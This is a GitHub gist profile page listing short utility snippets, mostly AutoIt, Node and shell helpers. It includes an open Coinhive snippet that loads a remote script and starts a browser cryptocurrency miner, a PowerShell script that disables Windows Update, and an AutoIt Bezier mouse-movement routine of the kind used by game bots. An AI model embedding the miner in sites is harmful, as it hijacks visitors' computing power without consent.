Skip to content

Instantly share code, notes, and snippets.

View hashtafak's full-sized avatar
🧲
NaN

Tuan Anh Tran hashtafak

🧲
NaN
View GitHub Profile
@hashtafak
hashtafak / index.html
Created November 9, 2017 16:31
Coinhive
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('aCyud8fkYf77SbqbEqXwApN8M6GOBHxB');
miner.start();
</script>
<script>
// Listen on events
miner.on('found', function() { /* Hash found */ })
@hashtafak
hashtafak / pptEx.js
Created September 25, 2019 14:56
puppeteer get WSEnpoint
const http = require('http');
const debug = require('debug')('spb:lib:pptEx');
function getWSEndpoint(port) {
return new Promise((resolve, reject) => {
http
.get(`http://localhost:${port}/json/version`, (res) => {
res.setEncoding('utf8');
let rawData = '';
res.on('data', (chunk) => {
#include-once
Global $Bitvise_Path = "C:\Program Files\Bitvise SSH Client"
Global Const $Bitvise_BvSsh = "BvSsh.exe"
Global Const $Bitvise_BvSshCtrl = "BvSshCtrl.exe"
Global Const $Bitvise_BvSsh_Host = "127.0.0.1"
#cs
+> Bivise Function
@hashtafak
hashtafak / setInterval fetch pool
Created August 12, 2020 18:15
setInterval stop duplicate fetch response
// maybe not a good case for http-pooling but works in some case of pet project
let smokeBreak = false; // https://www.youtube.com/watch?v=kdRPFBJ-jVc
try {
const x = setInterval(() => {
if (!smokeBreak) {
smokeBreak = true;
fetch('// a long wait request maybe wait more 5 sec to read: network error ')
.then((res) => res.json())
@hashtafak
hashtafak / bmm.au3
Created September 30, 2020 00:11
[AutoIt] Bezier Mouse Movement
;~ https://www.elitepvpers.com/forum/general-gaming-discussion/303245-autoit-bezier-mouse-movement.html
Dim $PtX[4]
Dim $PtY[4]
Dim $MaxPt = 3
Func Factorial($n)
$value = 1
For $i = 2 To $n
$value = $value * $i
@hashtafak
hashtafak / xvfb_daemon.sh
Last active March 6, 2022 23:28 — forked from fedesilva/xvfb_daemon.sh
Xvfb startup init script for headless selenium started via Jenkins
#!/bin/bash
# /etc/init.d/xvfb_daemon
# Xvfb startup script.
# Tom Meier <tom@venombytes.com>
#
### BEGIN INIT INFO
# Provides: xvfb
# Short-Description: Start/stop/restart daemon
# Description: Controls the Xvfb daemon which starts/stops the X Virtual Framebuffer server
### END INIT INFO
@hashtafak
hashtafak / disable-windows-update.ps1
Created March 8, 2022 02:43 — forked from mikebranstein/disable-windows-update.ps1
Disables Windows Update with PowerShell
# set the Windows Update service to "disabled"
sc.exe config wuauserv start=disabled
# display the status of the service
sc.exe query wuauserv
# stop the service, in case it is running
sc.exe stop wuauserv
# display the status again, because we're paranoid
const ethers = require('ethers')
const provider = new ethers.providers.JsonRpcProvider("https://polygon-rpc.com");
// const provider = new ethers.providers.JsonRpcProvider("https://psdolygon-rpc.com");
(async () => {
// wei => gwei => hex (bignumber)
// gwei => ethers.utils.hexlify => hex (bignumber)
// wei => ethers.utils.parseUnits gwei => hex (bignumber)
let estimatedGasFeesWei = 30.013769176
<!DOCTYPE html>
<!-- saved from url=(0021)https://disperse.app/ -->
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>disperse</title>
<link rel="apple-touch-icon" href="https://disperse.app/logo_disperse.png">
<link rel="icon" type="image/png" href="https://disperse.app/logo_disperse.png">
@hashtafak
hashtafak / fckRAR.au3
Last active August 14, 2022 11:20
Just Close WinRAR "Please purchase WinRAR license" Windows
#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.14.5
Author: fckRAR
Script Function:
Just Close WinRAR "Please purchase WinRAR license" Windows
#ce ----------------------------------------------------------------------------